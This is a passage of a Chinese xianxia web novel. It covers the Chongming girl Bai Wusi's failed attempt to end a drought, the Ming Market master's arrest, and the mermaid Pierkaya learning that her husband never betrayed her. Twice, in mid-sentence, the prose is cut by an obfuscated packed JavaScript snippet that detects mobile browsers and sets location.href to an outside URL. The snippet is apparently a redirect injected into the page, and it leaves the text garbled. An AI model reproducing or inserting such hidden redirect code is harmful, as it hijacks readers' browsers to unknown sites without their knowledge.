清休澜撑了一下膝盖,慢慢站直,似乎是缓过了那一口气,道:“白无思。几十年前,你与寻秘阁主尚且在一处时,我常来拜访,你不记得了?” 溟市主闻言眼中茫然更甚,迟疑道:“我叫白无思?那你叫什么,寻秘阁主……又是谁?” “你失忆了?”清休澜不知第几次皱眉,问道:“那你为什么会在这。” 溟市主沉默两息,慢慢转着手中的欲壑镜,轻声开口道:“我不知道。我只是觉得我有一件很重要的事没完成。为了完成它,我根据残破的记忆拿到了欲壑镜,然后随便找了个地方坐下。后来不知怎么的,这里就变成了‘溟市’,而我成为了他们口中的‘溟市主’。我想不起自己的名字,于是接受了这个称呼。” 清休澜看着她,召出了一只天机鸟,却没有继续动作,似乎在犹豫什么。 溟市主见他犹豫,于是理解似的点点头,坐着红伞落了下去,给了清休澜独自思考的空间。 这时,不远处传来“嘀嗒”一声,就像从高处落下的水滴,或是——一枚掉落的铜钱。可能是因为溟市内的异常变故,导致入口被封闭,那一声“敲门声”响起后,“门”迟迟未开。 清休澜抬眸,伸手放出一道轻飘飘的灵力,强行将整扇“门”卸了下来,他喘了口气,看见两个再熟悉不过的人,挑眉开口道:“你们……结伴来的?” “来看看你是否还有呼吸。”沈灵发丝微乱,身后探出个小脑袋,正是许寄忱。 小脑袋左右看了看,看见从踩着琉璃灯盏从空中缓缓落下的清休澜时喊了一声:“清长老好。” 似乎是没料到许寄忱能认出自己,清休澜意外地看了他一眼,点了点头,刚想对沈灵旁边那人说些什么,就感到自己的衣袖被扯了扯。他回眸一看,果然是应听声。 “怎么了。”清休澜将人拉了过来,顺手抹去他衣服上微沉的血迹,随口问了一句。 应听声摇摇头,没有回答。 清休澜也不是爱刨根问底的人,于是他摸了摸应听声的头,抬眸道:“没想到一个小小溟市,居然也能惊动寻秘阁主亲临?” 在清休澜开口的前一秒,沈灵就预料到什么一样,迅速设下阻音阵,免去了一场不必要的麻烦。 站在沈灵身边文弱书生样的青衣男子往前走了一步,从怀中拿出了一只天机鸟。清休澜垂眸一看,正是自己前不久送出那只。 “你莫怪。你的信,我看到了,也回了。只是这天机鸟带着我的回信飞了两天,又飞回了我手中。我一查才知,原来你所在的凌月剑宗早在十几日前就封山了,消息传不进去。” “所以你就亲自来送信了?”清休澜接过天机鸟,从中拿出回信,看了起来。 青衣男子笑了笑,道:“怎么可能呢。本也不是什么重要的事。” 清休澜看完了信,随手烧了,面色平静,看不出什么端倪:“早知那令牌是你亲手给出去的,我就不多管这个闲事了。叫人看笑话。” “怎么是看笑话呢。”青衣男子叹了口气,解释道:“我自知寻秘令牌的重要性,但你说的那少年——席梵,对吧?他给出的筹码对我而言足以与寻秘令牌相等。” “我也问过他要这令牌何用,他说有寻秘令牌在手,闯荡江湖能够免去不少麻烦,于是,我同意了。” “因为他说,他知道我想找的人在哪。” 清休澜神色复杂,微微偏头看了某处一眼,道:“你寻她寻了这么久,还不肯放弃?” 这时,许寄忱突然扯了扯沈灵的手,小声问道:“师尊,清长老说的她是谁?” 清休澜看了许寄忱一眼,又转头看向青衣男子,青衣男子无奈地点了点头,道:“我来说吧,也不是什么不能说的。” “这是一个……不怎么长的故事。” —— 南有瑞兽,形似凤凰,驱魔逐兽,双目四瞳,唤做重明。 重明一族,世间独一。上一只重明死去后,下一只重明的卵才会破裂。 因此,它们是孤独的。 这一次新破壳的重明,是位狂妄的女孩。她似乎知道自己身份尊贵,仗着一身本领上山入地,世界之大,哪儿都是家。 但在闯过三界后她渐渐觉得有些无趣,她的生命太过漫长,需要很多很多的乐趣。于是,她开始研究那些在他人眼中已经失传了的古老法阵。 南问舟就是在寻秘阁的禁书肆中见到她的。 女孩直接将设在周围的防护法阵撕了个稀巴烂,忽略了门,把墙砸了个大洞进来的。见他来“兴师问罪”,趴在地上看着一本书,懒洋洋道:“你这阵设的水平也太低了,真的没人闯进来过吗?” 南问舟却没有责问她,只是一同半蹲下来,看着她面前的书问道:“这可是几百年前的古书,你能看懂?” 女孩莫名其妙地看他一眼,反问:“你看不懂吗?” 南问舟摇了摇头,道:“这些文字早已经失传,与我们现在用的文字相差甚远。” “哈?!灵元亡了?现在没人用灵元字了?”女孩一脸震惊道:“我这觉睡得这么久?” 南问舟伸手,轻轻抚过那保存良好的古书,道:“原来这字叫‘灵元’。是个古老到……连我都没听过的朝代呢。” 女孩坐起身,仔仔细细打量了一番面前的男人,然后一指地上摊开的书,道:“和我做个交易吧。我可以帮你翻译整理所有你看不懂的书,但你要为我收集所有你能找到的古书和禁书,我要研究。怎么样。” 南问舟似乎有些惊讶,他猜到女孩的身份肯定不简单,却没想到女孩居然还挺……讲道理?毕竟只要“威胁”一下自己,他一个手无缚鸡之力的文弱医师,除了答应,还能怎么办呢。 于是他点了点头,道:“成交。”说完,南问舟起身走到书架旁,触动某个法阵,顿时,“轰隆”一声,书架两侧缓缓移开,露出一条通往地下的暗道。 女孩“哇”了一声,蹦蹦跳跳地走了过来,“刷”一声,发丝间燃起火焰,照亮了周围。 刚想去拿蜡烛的南问舟:“?” 那、那也行。 女孩像回自己家一样走了下去,把南问舟这个带路人甩在后面。 南问舟慢悠悠走下来时,女孩两眼放光地穿梭在沉木书架间,对他说。 “你这个朋友,我交定了!” —— “她极其聪慧,多少人穷尽一生也无法理解的玄奥在她眼中就是三岁小孩过家家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105642|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我承认,我被她耀眼的光芒打动。”南问舟眼神平静,好像那段心波微漾的时光已经平息,再激不起一丝波澜。 “最开始,她研究的不过是些无伤大雅的阵法。比如让书中已经消亡的生物短暂活过来,或是让薄雪落入夏日,使阳光洒满寒冬。” “那时,我只庆幸。幸好我有很多很多失传的古书。”南问舟垂眸道:“但现在,我只希望那天我狠下心,将她从禁书肆中赶出去。” “为什么?”一直躲在清休澜身后的应听声突然开口,眼中满是困惑:“你喜欢她,不是应该希望她开心么?” 南问舟轻轻一笑,眼中却是化不开的悲伤,他半蹲下身,平视应听声,道:“因为比起那一时半会的快乐,我更希望她能活下去,享受日久天长、数之不尽的快乐。” 见应听声依旧疑惑,清休澜便微微俯下身,淡淡道:“几十年前,人间发生了一场长达五个月的大旱。” 南问舟点头,接道:“那一年,颗粒无收,饥民无食,饿极而啖人。” 枯木遍地,焦土千里。原本象征光明与希望的太阳如今变成了挂在天上的恶魔,人们走投无路,甚至拜起了不知名,只是传闻能够降水的龙王,祈求上天垂怜。 到处都是人,死人。 人们对那些尚且新鲜的“肉”视而不见,因为倒在地上的人已经骨瘦如柴,就算想吃也无从下口,只能像狗一样舔舔骨头。 人岂能如犬? 可死到临头,为了被那根细细的绳子拽起,只能割掉坠在自己身后的那一块名为“自尊”的巨石。 重明鸟见到这一幕,目眦欲裂。它本就喜爱人类,如何能眼睁睁看着那些还没有自己翅膀大的人死去。 可伴随烈焰而生的重明鸟又能做些什么呢?它可以飞到千里之外的大海中取水,可水会被它翅膀上的火焰蒸发,小小的人类走不了千里远,只能静静死去。 南问舟远行归来,就见女孩一头乌黑长发乱糟糟的,眼下乌青,应当是很久没睡过了。她周围放满了翻来的书,却似乎没有一本是她想要的,仍在书架中寻找着。 他从地上捡起一本本书,放到桌上摆放整齐,轻声开口问道:“你在找什么?” 女孩这才意识到房内进了人,看见他犹如看见救命稻草一般,急声道:“南问舟?!你来的正好,快来帮我找找有没有什么能够天降甘霖的法阵或者咒语!” “天降甘霖?”南问舟自然也听说了人间的大旱,但寻秘阁从来只做生意,不管闲事。但他依旧用灵力从高高的书架上带出一本书,递给女孩道:“法阵和咒语也只是让人能够用灵力与万事万物建立联系,并不能凭空变出东西来。你要水,这水也必须来自某个地方。” 女孩欣喜地翻开书,看了两眼却皱起了眉,问他:“这法阵只能暂时将远处的水以‘雨’的方式转移过来,治标不治本。况且,用那处的水救了这边的人,那那边的人怎么办呢。” 南问舟只是摇摇头,道:“生死轮回自有定数,你我不该出手,乱了规矩。” “什么狗屁规矩。” 女孩神情倨傲,就算因为多日劳累羽毛略有杂乱,却依旧熠熠生辉,世间最绚烂的宝石亦不可比。 她道。 “我就是要天上下雨,要庄稼长得更快,要人间年年风调雨顺。” “我要庇佑这世上的所有人。” 24. 菩提 两个小孩都瞪大了双眼,眼中的意思再清晰不过:这怎么可能! 南问舟看出了他们眼中想表达的意思,点头叹道:“我也是这么和她说的。” “可她不信。” —— “你所说的事,已经超出了‘人’能做到的范畴了。”南问舟没有将女孩说的话当真,漫不经心道:“我们普通人一般管能做到这些事的人叫……‘神明’。” 女孩皱眉,道:“我就是神明。” 南问舟笑了起来,将女孩的发丝用灵力理顺,道:“你只是一只重明鸟。” “我是神明。”女孩坚定道:“只要我能给人间带来希望,让他们免受诸般苦楚,那我就是他们的‘神明’。” 在那之后,女孩关上了门,将他赶了出去,似乎对南问舟不支持自己感到气恼。寻秘阁主第一次动心,难免被不断震荡的胸腔影响了应有的判断力,一时昏了头,竟任她去了。 而等他从极寒之地归来时,为时已晚。 女孩用尽一切办法,甚至不惜献祭自己的生命力想将雨水带到这片干涸的土地上,却无济于事。太阳依旧称霸在空中。 日复一日,死的人越来越多,女孩也逐渐疯魔。她放弃了从古书中寻找办法,开始自行创造新的法阵和咒语。 但就像南问舟所言,世上没有任何一种法阵和咒语能够凭空变出东西来,能量与物质总得来自某个地方。 她所创造出的法阵越来越危险,连她自己使用都九死一生,这样的法阵自然拯救不了众生。 于是,她转变了思路,将“改变天地”的想法抛去,变成了“改变身体”。女孩单纯地想,只要人们变得可以在这样的环境下生存就好了。 刚好女孩在古书中找到了一个能够让生魂离体的法阵,她觉得,只要能够摆脱肉体凡胎,用魂魄游走在世间,就不会再被饥饿和病痛折磨,也不用再忍受寒冷与酷暑。 “可她忘了,如果没有这具身体,人又怎么能算活着。” 南问舟轻声道:“我急匆匆地赶了回来,强行破开了她紧锁的房门……” 南问舟推开房门时,一阵刺眼的白光闪过,他只觉被一股天地间蕴含的力量重重地推了一下,随后,就看着自己的身体直直倒了下去。 “南问舟?你怎么回来了。”女孩正兴奋地看着自己变透明的手和变轻盈的身体,没有察觉到南问舟的脸色变化,也忘记了与他短暂分离时的不愉快,朝他伸出手,道:“你瞧!只要我再完善一下这个法……” “你疯了?!”向来温良的南问舟第一次动了火,竟是冲着自己喜欢的人。他深吸了一口气,稳下心绪,缓声道:“抱歉,我不是冲你。但是使生魂离体的法阵实在太危险了,你竟拿自己实验,我很担心。” 女孩似乎还沉浸在喜悦当中,并没有在意南问舟的态度,刚想开口对他说些什么,话音却被一阵狂风吹散。 生魂太轻,风一吹,女孩的脚便离开了地。南问舟瞳孔一缩,就要伸手去拉她,却一同被裹在狂风中往某处飘去。 不知过了多久,风才渐渐平息。南问舟扶稳了女孩,蹙着眉观察周围。四周开满了鲜红的曼珠沙华,有不少虚弱的魂魄在游荡。 曼珠沙华微微摇晃,散发出人间不存在的清香。南问舟呼出一口气,只觉一阵没由来的烦闷。 “这是哪儿。”女孩面上的欣喜已然消失,阴冷的环境让喜火的重明极为难受。 南问舟轻轻顺着女孩的长发安抚她,道:“这可能就是所谓的‘死后之地,阴阳之间’,阴阳司。” “我们死了?”女孩似乎有些烦躁,道:“我们还不能死,我要回去。” 南问舟俯下身,道:“别紧张,生魂阳寿未尽,无需转世,可重返阳间。” 看着南问舟沉静的目光,女孩勉强压下了胸口中郁结的燥气,看着他走到一旁,娴熟地与一个在发呆的鬼差搭话。 莫约半盏茶后,南问舟才走了回来,道:“最近死的人实在太多,原本来人间一个个引渡灵魂入轮回的鬼差忙得都不会喘气了。”他顿了顿,接着说道:“鬼差便偷了个懒,用了个法宝。这法宝只要察觉到附近有魂魄,就会刮起一道阴风,将其一路顺风送到阴阳司去。” 说到这,南问舟无奈道:“但这法宝有点傻,分不出阴魂阳魂。误入阴阳的阳魂不在少数,只要去阴阳司判官那说明自己是个阳寿未尽的生魂就好。别担心,我们很快就能回去了。” 闻言,女孩脸上的烦躁却没有减少,她难以忍受似的将地上的曼珠沙华烧成了灰烬,道:“耽误了好长时间,人间又不知道要死多少人了。” 南问舟蹙眉,摇了摇头:“你还在想用生魂离体这法子?行不通的。” “不试试怎么知道。我说你要是没有想帮忙的心,就不要拦着想救人的人。”女孩心里烦乱,曼珠沙华放大了她心中最浓烈的情绪:“看着一条条生命逝去,你怎么能无动于衷呢。” “我并非无动于衷,只是众生的生死轮不到我插手罢了。”南问舟解释道:“逝去的生命总会回来,而你我皆不是人,应该将这只属于人的故事给人类自己书写。” 女孩甩开了他的手,道:“是谁决定了人的生死,每个人都在那么努力的生活,拼命想要活下去,他们为此做出的努力,岂是你一句轻飘飘的‘生死自有定数’就可抹去的?!” 说完,女孩转身离开,似是不想再与南问舟争论。 南问舟也察觉情绪隐隐有要失控的迹象,却没放在心上,提步追了上去,道:“我从未这样想过,每条生命都是珍贵的,但我们不该插手生命自然的轮回。” 女孩化为了重明鸟本相,极速向前飞去,厉声道:“我和他们一样!我也是生活在这个世间的生灵,除了比他们多一双翅膀,我有何处与他们不同,凭什么不能管!再者,我就是要插手,你又能如何?!” —— 南问舟没有再说下去,许寄忱忍不住追问道:“……然后呢?” 清休澜看了他一眼,淡道:“她死了。” “她没有。”南问舟同样平稳地回道:“重明一族没有‘转世’一说,就算她坠入了轮回井……也只是落入人间罢了。她没有死,我会找到她。” “南问舟。”清休澜打断了他,似乎并不理解他的执念,“她以生魂坠入轮回井,没有身体,迟早会消散在人间。你如此笃定,是因为寻秘阁中所有你能找到的重明卵,都没有破壳的迹象…… “——还是其实有,但被你强行压下了?” “那重要吗。”南问舟眼神明清,明明知道自己在做什么——违背自己曾经的观念,出手干预重明一族的生死。 他轻声道:“我只想找到她,重新认识她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105643|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听她再次对我说……” “初次见面,我叫白无思。” “初次见面,我叫白无思!” 两声音调不同,但却一模一样的话语出现,南问舟浑身一颤,似乎不可置信,却强行压下了抬眸的动作,不敢抬头确认。 沈灵设下的阻音阵不知何时已经消散,蹲在一朵摇摇欲坠的白花前的溟市主意外回眸,视线落在低着头的南问舟身上。 “你……”溟市主站起身,走到了南问舟身边俯下身,似乎想看清低着头的南问舟脸上的表情,她说:“你不开心吗?我可以帮你。” 南问舟表情有些难看,似乎想笑,却皱着眉,可眼中的情绪分明欣喜大过悲伤。明明是久别重逢的场景,可他一滴泪都落不下,声音丝毫未乱,只有些许不易察觉的沙哑:“你刚刚在和那朵花说话吗?” 溟市主没想到他会问这个,转身小心翼翼地捧起了那朵即将枯萎的不知名白花,回道:“溟市种不了花呢,不知是谁意外落下的种子,居然能在溟市开出朵花开。可惜,它不能留在这,不然它会死。” “我可以帮你让它在溟市活下去。”南问舟指尖凝聚灵力,蹙眉道。 溟市主却摇了摇头,道:“为什么要将它留在这里呢。这里没有阳光,没有草地,没有水。如果它的一生都要在这度过,也太不公平了。” 周围传来喧闹声,似乎是因为寻秘阁主南问舟的现身,清休澜一道威压扫过,人群再次安静下来。 溟市主似乎也意识到什么,她在自己身上找了找,然后又拿出了那面欲壑镜,道:“我想和你做个交易。” 她说:“请你,帮我把这朵花带出去吧。我愿意用欲壑镜换它余生沐浴于阳光之下。” 南问舟沉默着,没有回答,溟市主可能误会了什么,又在身上找了找,随后伸手摸上自己坐着的红伞,道:“这柄伞也可以给你。我只有它们了。” “我会帮你,不需要给我任何东西。”南问舟终于抬眸,透过欲壑镜,他看见了曾经的女孩,也是站在他面前的溟市主。 溟市主如释重负地笑了一下,与曾经的女孩无异,只是笑中少了肆意不羁的狂妄,那些张扬的火焰安静下来,乖顺地化作女孩眸中的温柔。 南问舟抬手接过了那捧带着泥土的花朵,久久无言。朝思夜想的人就在眼前,南问舟却依旧觉得心里空落落的。就像不远万里只为再看一眼记忆中的萤火森林,却发现那片森林已经被全部砍掉,变成了一座他十分陌生的客栈。 可脚下的土地,空气中的味道,甚至是抬头看到的星星的位置都未曾改变。 南问舟忍不住看向溟市主,试图在她身上找到一点曾经女孩的影子,却一无所获。 她们还是一个人,但除了样貌相同,南问舟没法将眼前的溟市主与女孩联系起来。失去了记忆和熟悉的性格,她们还是一个人吗,南问舟扪心自问,却没有得到答案。 溟市主朝他行了一礼,似乎是在感谢他答应自己的请求,随后她最后看了他们所有人一眼,转身坐着红伞,飘到了为首的柯麒面前,伸出双手,任由他给自己带上刻满符咒的镣铐。 被带离之前,她迷茫地看了看身边的人,自己地上层层叠叠,无处下脚的尸体,轻声不知在问谁。 “我实现了所有人的愿望。” “我……还是做错了吗。” 25. 凡人 溟市主被带走,南问舟捧着白花低着头在原地静默了几息,将花往清休澜怀中一塞,急匆匆说了声“欠你个人情”便转身追去了。 沈灵准备留下来善后,顺便给徒弟上上课,补补常识。清休澜将花收到了乾坤戒中,本想留下来带应听声凑个热闹,被沈灵态度强硬地送走了,让他没事儿就回天机宗待着。 清休澜只能略显遗憾地带着应听声离开了。 路上,应听声问要去哪儿,清休澜说带他回天机宗,找个地方把这花埋了。 “白前辈现在是魂魄吗?”应听声坐在琉璃灯盏上,摇晃着腿问道。 清休澜垂眸思考着些什么,闻言随口答道:“嗯,她很特殊。一是阳寿未尽的生魂,二没喝孟婆汤,三没有转世一说。所以在经过轮回井后,她没有失去记忆,也没有获得新的人生。” 说着,清休澜叹道:“她变了很多,可能是因为轮回井扭曲了她一部分心智,可能是在世上蹉跎太久。初见时,我都没能认出她来。” “可是她没有失去记忆的话,怎么像是根本不认识您和南阁主一样呢?”应听声问道。 “她只是一缕魂魄啊。”清休澜轻声道。 神志不清的女孩从轮回井落入人间后,浑浑噩噩。或许那时她还记得自己是谁,记得所有执念,通过记忆拿到了“欲壑镜”。但随着时间推移,魂魄的记忆开始散去,直到她忘记自己是谁,为什么在这。 到最后,只剩下自己心底最深的执念。 “要实现人们的愿望。” 南问舟临走时把溟市主强塞到他怀中的欲壑镜一同给了清休澜,拿了块烫手山芋,清休澜也是无奈。 “欲壑镜可不是什么好东西。”看着对自己手中的欲壑镜一脸好奇的应听声,清休澜介绍道:“欲壑镜能够创造出任何真实存在的东西不假,但它创造出的东西会不断吸食人的精气,直到将人吸成一具空壳才罢休。” 应听声惊讶道:“可精气流失是很明显的呀,为什么他们不及时止损呢。” 清休澜笑道:“谁在乎呢——只要梦想成真。” 只要……梦想成真。 —— 清休澜将这朵花埋在了天机宗一处人烟稀少,但阳光充足的地方。触碰到泥土和阳光的瞬间,原本半死不活的花瓣都伸展开来,就像被注入了生机一般。 应听声蹲在这朵看上去普普通通的白花旁边,看着清休澜引了道水浇灌它。 白花随着风摇了摇,竟落下两片完好的花瓣来,花瓣飘飘摇摇,落在清休澜的手心。 皮尔卡娅不知什么时候从栖灵瓶中出来了,溟市覆灭后,恨意从她身上散去,而她则变得愈发透明,几乎要和阳光融为一体。 应听声已经看不见她了,反倒是清休澜淡淡抬眸看了她一眼,道:“怎么,你有话想问我?” 应听声奇怪地抬头看向清休澜,左右看了看,问:“前辈?你在和谁说话。” 皮尔卡娅低头看着应听声,轻声道:“明明大仇已报,我怎么还是开心不起来呢。” 清休澜半蹲着将花旁边的杂草清了清,随口道:“可能是因为恨和执念是两种东西吧。” “被溟市所擒是你的恨。”清休澜抬眸看向飘在空中的皮尔卡娅,道:“那你的执念是什么呢。” “我的……执念?”皮尔卡娅重复道,不自觉陷入回忆中,任由思绪飘远。 —— 那应该是一个温暖的午后,因为皮尔卡娅记忆中的海面波光粼粼,像是海中的星河。 皮尔卡娅记不清自己游了多久,应该很久吧。 她厌倦故乡一成不变的风景,想去外面——很远的东方看看。她的父母虽然万般不舍,却也拿性烈的女儿没办法,只得对她千叮咛万嘱咐,一定要小心。 于是,皮尔卡娅出发了。 几天几夜之后,她看到了来自陆地的光。皮尔卡娅兴奋地浮出水面,然后看见了一个人。 那是皮尔卡娅见过的第一个人——和她不一样的,拥有“双腿”的人。 男人在岸边的小船上清点今天捕到的鱼,误将皮尔卡娅当成意外溺水的人类女孩,没有一丝犹豫地跳了下去,想将她救起。 皮尔卡娅不能暴露身份,只好匆匆忙忙将自己漂亮耀眼的璨金色鱼尾藏起,依葫芦画瓢地变出一双人类的腿来。 男人十分英俊,裸露的上半身结实而有力,就像她的国度国王身边的侍卫一样强壮,肤色是健康的小麦色。救起皮尔卡娅时他移过了目光,小心避开她的腰腹,只托着皮尔卡娅的双臂,将她带上了岸,然后将自己放在一边的干净衣服递了过去。 “你还好吗?”男人问道。 皮尔卡娅听不懂他们的语言,张了张嘴,没有出声,观察着这个与她不一样的生灵。 “你不会说话吗。”男人恍然,然后朝海边的一座小木屋喊道:“娘——” “诶——”一个蹲着洗衣服的妇女应了一声,一边解下围裙一边朝男人走了过来,问道:“怎么了……咦,你是?” 皮尔卡娅又好奇地看向和男人一样,只是身高稍矮的女人,偏了偏头,浅绿色的眼眸亮亮的。 “是一位落水的女孩,我将她救了上来,但她好像不会说话。”男人道。 妇女“啊呀”了一声,道:“可怜的孩子,天要黑了,今晚就先住在我们家吧。明儿我上村里问问,看看是哪家的孩子。” 于是,皮尔卡娅在这处靠近大海的小渔村里住了下来。 然后……然后呢? 回忆到这,皮尔卡娅却怎么都想不起来后面发生了什么。 她只隐约记得,自己的心在剧烈跳动,像是被蝴蝶塞满了胸腔。在她的国家,这是遇到了“真爱”的象征。 皮尔卡娅觉得自己遇到了真爱。 她将自己的身份告诉了男人。皮尔卡娅皱眉回忆着。 ……但是男人却并没有露出欣喜的神色,只惊讶地看着她,随后严肃地告诉皮尔卡娅这很危险,她不该告诉任何人,包括男人自己。男人希望皮尔卡娅能够守护好这个秘密,并请她用法术删除自己的记忆。 但皮尔卡娅拒绝了,她愿意相信这个善良的男人,并答应他自己会守好这个秘密。 ——但是男人食言了。 想到这,皮尔卡娅的神色渐渐冷了下来,就像被月色笼罩的大海。 男人将她约到了一处荒无人烟的地方,皮尔卡娅毫无防备,被男人迷晕。再次睁眼时,她已被打上了禁阵,戴上了镣铐,成了被明码标价的“货物”。 可是……皮尔卡娅伤心地想道,那些山盟海誓、承诺、和每个晚上听着对方的心跳入眠就都是假的么? 就算只有她一个人将那些假话当真,她也肯定,爱存在过,只是像潮汐一样,消退了。 于是,她哀哀地请求清休澜:“我想回去……最初的地方,那个小渔村。请带我回去看看吧。” 秉持帮人帮到底的原则,清休澜答应了。 他拉过应听声,从乾坤戒中拿出一条发带,帮应听声重新梳理了凌乱的长发,道:“皮尔卡娅想去一个地方。” 应听声乖乖地任由清休澜动作,问道:“哪里?” 清休澜看向远方,回答道:“一个离她的故乡最近的地方。” —— 皮尔卡娅记忆中的小渔村并不怎么繁华,只住着五六户人家,大多都是些老人,毕竟年轻人正是闯荡的时候,怎会甘愿在小小渔村中蹉跎。 对于这个给了她幸福,也毁灭了她的小渔村,皮尔卡娅本以为自己会觉得“不甘”。但当她真真切切落在这片略有潮湿的土地上时,她却不自觉地流下了眼泪。 渔村中,处处挂满了白帷,妇人和年幼些的孩子也都身着素缟,聚在一起抹着泪烧纸钱。 皮尔卡娅轻皱起眉,抬手抹去了眼角的眼泪——失去了眼睛之后,她的泪水再也凝不成珍珠, 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“很幸运。”清休澜却是轻轻笑了,“这个问题,我可以给你答案。” 他伸手,将手中的卷轴递给皮尔卡娅。 皮尔卡娅接过,将其展开,里面赫然是一副自己的画像,以及一封字字恳切的信。 画像上的皮尔卡娅栩栩如生,笑容灿烂。 清休澜道:“你的爱人不但没有背叛你,相反,就算你是一只鲛人,他也愿意与你共度一生。” —— “人间有种术法,名唤‘易容’。” 男人有个心术不正的堂弟,偶然听到了关于皮尔卡娅是一条鲛人的秘密。他于修炼一道上有点天赋,但心思太“邪”,被宗门赶了出来。 堂弟早就受够了在渔村中穷苦的生活,想要借皮尔卡娅一飞冲天。 于是,邪念起。 他将自己变作男人的模样,轻轻松松将皮尔卡娅骗了出来,然后以一笔巨款将她卖给了溟市的摊贩,自己拿着钱远走高飞。 “你的丈夫回家后找不到你,心急如焚。得知是自己那不争气的堂弟将你卖出去时险些吐出一口血来。”清休澜叹道:“第二天,他留下一封信,发誓不惜一切代价,也要将你带回来。” “几经辗转,他一个普通人,不知怎么竟然成功搭上前往溟市的飞舟。” 皮尔卡娅手中的画卷坠地,她像已经知道结局一样一边往后退一边摇着头,满脸泪痕。 清休澜顿了顿,还是轻声说了下去:“刀剑不长眼。” 皮尔卡娅就像一个被宣判了死刑的囚犯一样痛哭了起来。 原来他们本不用分开。 原来他们曾经真的可以共度余生。 原来,“我会爱你,直至我死去”,并不是一句虚无的承诺。 皮尔卡娅像一个做错了事的孩子一样哭泣着问清休澜:“如果……如果我不去复仇,如果我并不想毁灭溟市,是不是……” 清休澜缓慢地摇了摇头,答道:“溟市这样的地方本就不该存在于世,你我只是将它的毁灭提前了。” “而你的丈夫深爱你,所以他一定会去找你,就算在溟市找不到,也会去别处找。”清休澜道:“他只是一个普通人,无权无势独自行走于世间,很脆弱的,就像蝴蝶的翅膀一样。” “他迟早会死在寻找你的路上。或死于乱箭,或死于疾病,或寿终正寝。无论如何,他都不会放弃寻找你。” “他是个普通人,但他爱你。深爱。” 清休澜递上一块手帕,道:“所以,不要责怪自己。若他知道最后你已经报了仇,能够安心离去,也会为你感到高兴的——以及……” 清休澜叹了口气,无奈道:“别再哭了,若你因他哭泣,我想……他会自责的。” “至少他在前往轮回的路上有你相伴,便也不再孤单。” 26. 眼泪 皮尔卡娅在原地沉默了很久很久,直到泪痕干涸,直到月色弥漫。 没了恨意与强烈的执念支撑,她的魂魄开始逐渐消散,像一颗颗细小的星星一样,飞往高天。 在消散前,清休澜和应听声都听见了一声近在耳边的“谢谢”。 随后,原本被皮尔卡娅抱在怀中的画卷坠落在地,而那一纸轻飘飘的信,却随着风飞了起来,越飞越高。 应听声顺着清休澜的目光看去,就看见漫天星光汇聚,一颗璀璨的圆形宝石从空中缓缓落了下来。 “这是……鲛人的眼泪吗?”应听声小声问道,他没告诉清休澜,虽然他看不见皮尔卡娅,却能听见他们之间的对话。 “鲛人落下的伤心的眼泪,唤做‘珍珠’。”清休澜抬手接过这颗散发着柔和光芒的宝石,接着说道:“少有人知,鲛人幸福时也会落下眼泪——也许是因为在陆地上的鲛人,很少能够得到幸福吧。谁知道呢。” —— 关于溟市之后的事,应听声是从许寄忱那儿听来的。 溟市主被押到了凌月剑宗,架在绞刑架上。虽然在溟市贩卖那些货品的摊贩和她无关,但她作为溟市主,却默许了这些行为。 因此,为平民愤,凌月剑宗下令绞杀溟市主。 溟市主来到凌月剑宗后便安静了下来,很少说话,只承认了自己的“罪行”。她对凌月剑宗想要绞杀她的想法未置一词,似是默然接受。 但这一场对“邪恶”的审判却迟迟没有开始,只因寻秘阁主叫停了审判。 这是南问舟第一次以“寻秘阁主”的身份公然站在某一方势力,此次过后,寻秘阁“绝对中立”的名声肯定会被影响。 他对在场的人行了个礼,随后抬头看了一眼低着头的溟市主,涩声道:“南某知道,寻秘阁主,本不该参与修仙界任何纷争。但溟市主曾与我有一段……未解之缘。” “她身为溟市主未能管教好自己的地盘,任由妖魔作乱,该罚。但她神志不清,‘溟市主’一名也是被别人强行冠上的,她罪不至死。” “而我身为寻秘阁主,任由溟市长久盘踞一方不做警示,也该罚。所有罪罚,我愿一力承担。” 寻秘阁主称,愿意给在场的每个宗门两次免费提问的机会,只要是他知道的,必定知无不言。 没有人不喜欢免费且绝对真实的情报,这个诱惑实在太大,毕竟无需付出任何自己的消息就能得知对手消息的机会难得,很少有人会不动心。 寻秘阁主承诺,自己会将欲壑镜湮灭于虚空,也会封印溟市主的灵力,她会留在寻秘阁,由他亲自看管。 众人明面上说着要“考虑”一下,实际互相看看,就知道此事已经板上钉钉。 又过了两三日,众宗门才“堪堪”同意了寻秘阁主的要求。 —— “可这听起来不是南阁主的错。” 此时应听声和清休澜已经回到了了天机宗中,听完许寄忱的转述后,应听声皱眉说道。 可能是灼烧感褪去后终于不难受了,也可能是回到了熟悉的地方,清休澜表情十分放松,懒懒地半躺在一张贵妃塌上,摇晃着手中温热的酒液,回道:“那怎么办呢。” “南问舟的‘良心’告诉他,一定得有一个人出来承担错误。他不允许自己将这一切归咎于白无思咎由自取,于是,他就成了那个犯错的人。” 许寄忱点了点头,问道:“讨伐溟市的起因是那位杜公子,他现在怎么样了?” “死了。早死了。”清休澜转了转酒杯,不怎么在意:“尸体都被鲛人血烧没了。” 沈灵从门外走进,看清休澜霸占了主位,也没在意,随意在许寄忱旁边的太师椅上坐下——不知道的还以为这和生阁是清休澜的宫殿呢。 沈灵看起来刚处理完公务,身上还沾着墨香。虽然天机宗的各种事物本该由清休澜处理,但他却没有一点身为大长老的自觉。 